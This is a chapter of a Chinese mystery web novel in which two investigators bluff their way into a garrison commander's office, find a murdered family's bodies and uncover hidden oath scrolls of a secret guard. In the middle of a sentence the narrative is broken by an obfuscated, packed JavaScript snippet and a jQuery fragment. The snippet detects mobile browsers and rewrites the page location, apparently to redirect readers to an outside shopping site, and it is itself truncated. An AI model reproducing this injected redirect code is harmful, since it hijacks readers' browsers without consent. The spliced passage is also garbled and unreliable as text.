“所以你的打算是,去查暮影渡人口丁册?”
苏望禾微微抬眸,杏目澄明,目光落于言影风的浅灰色双眸,眼波粼粼,格外认真。
“没错,我已经记下了那些有碑文的名字,挨个去对照人口丁册,哪家何时有人销过户,就能知道谁家有人去世,再从丁册上找到家庭住址,这样我们就能找到活人问话。”
言影风敛去平日松散,认真的模样眉目清宁,好看的眼角弧度勾勒出令人安心的神采。
苏望禾忽然觉得,好像没有言影风的脑子办不到的事情。
“只要能有活人问话,我们总能找到这些消失的遗体,生前有什么特点。”
这一路上,苏望禾注意到暮影渡朔睦节节日氛围浓郁不少,从集市到普通商铺,皆有所装饰,张灯结彩,热闹相迎。
集市中央地带,正在搭建桌台架子,她眼尖地发现主要分为两部分,左侧为古三少爷的节日福利——所有百姓皆可领取“福水”一壶,右侧则是留给福田院的区域,到时候应会在那里摆放大家准备的奶豆腐、月饼,广济百姓。
“暮影渡的人看样子很重视朔睦节啊。”苏望禾情不自禁地说。
“听说有新月国使者到访,在这里商定关税和开辟通商道路。目前看来传闻非虚,这些装扮多半是为了让使者宾至如归吧。”
*
谈话间已至守将府衙。
苏望禾立刻察觉有异。
大白天的,守将府却大门紧闭,门口的守卫人人紧绷,目不斜视,嘴唇紧抿。
“感觉不太对啊……”
言影风也察觉到了,但按照原计划他会以刑狱司巡查的身份,直接伸手找守将讨要人口丁册,于是假模假式摆出官威来,让门口的守卫前去通报。
“守将大人有令,近日闲杂人等不得入内!”没想到守卫并不吃这一套,这样看来应是守将下过极为要紧的命令。
凡是生面孔,一概不认。
这很反常。
苏望禾同言影风交换眼神。
言影风清了清嗓子,打算拿出点强硬的为官气势,对守卫施压。
刚巧这时府衙内传来有瓷器摔碎的声音,不止一声,而是接续的。
听上去不似不慎摔破,而是有人刻意为之。
这声音引得门口守卫屏气凝神,正巧被言影风尽收眼底,他立刻决定利用守卫们的紧张情绪。
“我乃刑狱司巡查!有查明要案的责任!守将大人也应及时向我汇报并配合!事情若是闹大了你们担得起吗!?”
言影风危言耸听,他并不知今日守将府遇见了什么麻烦,但既然如此戒备,必定是如临大敌,他借着府内惊响摆出官威压制,又试探了一番守卫的心理。
如果真是有什么守将都难以摆平的麻烦,他们绝对不敢继续阻拦。
果不其然,门口的两名守卫慌慌张张地看了看彼此,最后决定让言影风二人等待,小跑着进门通报去了。
“一会进去之后见机行事。”言影风小声在苏望禾耳畔说道。
他们本来只是为了人口丁册而来,但既然有反常事态,也只能入内后再了解情况。
没想到冯守将听闻黎巡查来访,赶紧将人迎了进去,他倒是全无守门者的死板和凶狠,看见言影风反而犹如见到救命菩萨。
“黎大人,哎哟,你来的真是时候!不然冯某正要去福田院寻你啊!”冯守将亲昵地拉上言影风,径直往府衙深处走,后院应是客房。
“等等,冯守将。什么事情这么急?”他注意到冯守将虽是礼貌带笑,但那笑容如同贴在脸上似的,脸上的肉团在一起,像被浆糊粘住,僵得不行。
很明显,一定是有什么事情他已无力解决,而刚好出现的言影风,或许带来了新的思路。
“新月国使者,正在府上……”冯守将见言影风一副不见兔子不撒鹰的架势,只能附耳和他说明重点。
言影风收敛心中惊讶,看来商贸会谈的传闻是真的,怪不得守将府不允许生人靠近,应是担忧使者安全问题生变。
而冯守将如今这般模样又说明,使者必定已经遇见了什么麻烦,尚未解决,不然不会如此期盼他的帮忙。
言影风快速在心中做出判断,看样子他必须同苏望禾分头行动了。
“这可真不巧,我作为秘密钦差,不便露面才是,更不应影响到守将大人的工作……”言影风刻意想要划清界限,引得冯守将着急,“我本是为了暮影渡孤痞信息摸底而来,本意仅为取了人口丁册便走……”
冯守将一听,拉着言影风的手更用力了,正中言影风下怀。
“黎大人,我知道这边关会谈与你无关,但这使者刚进暮影渡便遇见些怪事……使者放话,会谈时间将近,要是不给她查明白了,所有事宜延后……”冯守将鼻子眉毛都快皱在一起了,看样子是十分焦急了,“我担不起啊……”
“我查案子哪有刑狱司的大人在行啊……您就当帮个忙行不行……”冯守将几近哀求。
“可是这人口丁册……”言影风故作为难。
“哎呀,那都是小事!来人啊!”冯守将挥手找来一名侍卫,“你,带黎大人的属下去取人口丁册!”
“是。”
冯守将指的正是苏望禾,如此一来,苏望禾待会可以将整个守将府翻个遍,她心领神会地拱手作别。
而言影风作为黎风,陪同冯守将去会一会新月国使者。
*
苏望禾身边仅有一名侍卫,她从路过的巡逻守备看出,极为松散,估计大部分兵力都用在那新月国使者身上了。
侍卫将她领至档案卷册门口,她立刻找了借口:“麻烦这位兄弟就在门口守着吧,黎大人特别吩咐,此乃钦差办事机密,还请见谅。”
对方毫无察觉地同意了,她入屋后立刻从内插上门栓。
暮影渡的人口丁册很快便找到了,但更重要的是,她从房间的另一侧窗户翻了出去。
这是搜寻守将府衙的最佳时机。
她虽然没了功力,但是身形依旧敏捷。
再加细致入微,通过数息避开院内
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576568|205019||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
仅有的一队巡逻。
她很快注意到一处偏僻角落,像是柴房的地方,门口竟有把守,这不合常理。
于是决定翻窗入内。
刚一进入,便有淡淡的腐臭之味钻入鼻腔。
猛地发现这里停了三具尸体,都盖了白布。
这难道是……马夫一家?
她缓缓地掀开白布一角,小麦苍白的小脸闯入眼帘。
苏望禾心尖如被针刺似得,蓦地一痛。
如果不是她,也许他们就不会惨遭黑手……
到底是什么人,就连十岁女童都不放过……
她拉着白布的手,不自觉地攒紧了。
忽然注意到小麦的手指,似有明显污渍,她举起闻嗅,应是被勒死前拼命挣扎过,胡乱抠住凶手时留下的味道,有一点涩味。
她又检查了一遍马夫和他老婆的尸体,也都在手指上闻见同样味道。
而指缝里,有深深浅浅的灰黑痕迹,努力与涩味区分开来,一个答案闯入脑海。
好像是炭灰遗留?
她小心翼翼地让将遗体恢复。
临走前,她默默地在心中对小麦说:小麦,我绝不让你死得不明不白,还背上莫须有的罪名……
她疑惑马夫一家的尸体运走也有一日了,守将为何要说他们是细作,还迟迟没有处理遗体。
这冯守将,究竟有什么目的?
她带着这些问题,离开了这间极为隐蔽的房间,等稍晚时候,再与言影风交换信息。
这会儿,她打算直奔冯守将的房间。
看样子这位冯守将是为极爱品茗的人,房间内陈列,除寻常书本、字画外,最为多见的是不同包装精良的茶叶和各种器型的茶壶、茶杯。
冯守将在战事未平之前,曾在边关驰骋疆场,后来天下太平,新月国割让暮影渡归还于大晏,他正好混了个守将职位。
此人房间内有精良兵器,看得出他依旧保有练武习惯。
所有的柜子搜寻一番,似乎没什么特别的了。
直到,她触到一块隔板,与周围柜板感觉不同,明显薄了不少,轻轻一推,竟能够活动。
怪不得最下层的柜子比看上去浅,原来推开隔板竟还有夹层。
里面有些许泛黄卷册,看上去已有些年头。
她挨个取出查看,除却一些普通事务外,有几份半卷在一块的吸引了她的注意,卷册上有隐隐约约的图腾,一看便与寻常文册不同。
她摊在身前缓缓展开,目光即可一凝,难掩大惊,她发现了重要线索。
这些全部都是沙狼卫的生死状,张张染血,以此立誓。
卷册上的图腾,在展开之后完整可见,是一头昂扬的狼。
她很快找到了哥哥苏野麦的那份,是他的字迹无疑,余下资料还有几份秘密任务的记录,她认真检查,确定没有三年前去边界线交换人质这项任务。
而这些极为隐秘的内容,怎么会出现在冯守将的房内?
难道,他正是沙狼卫曾经听命的人……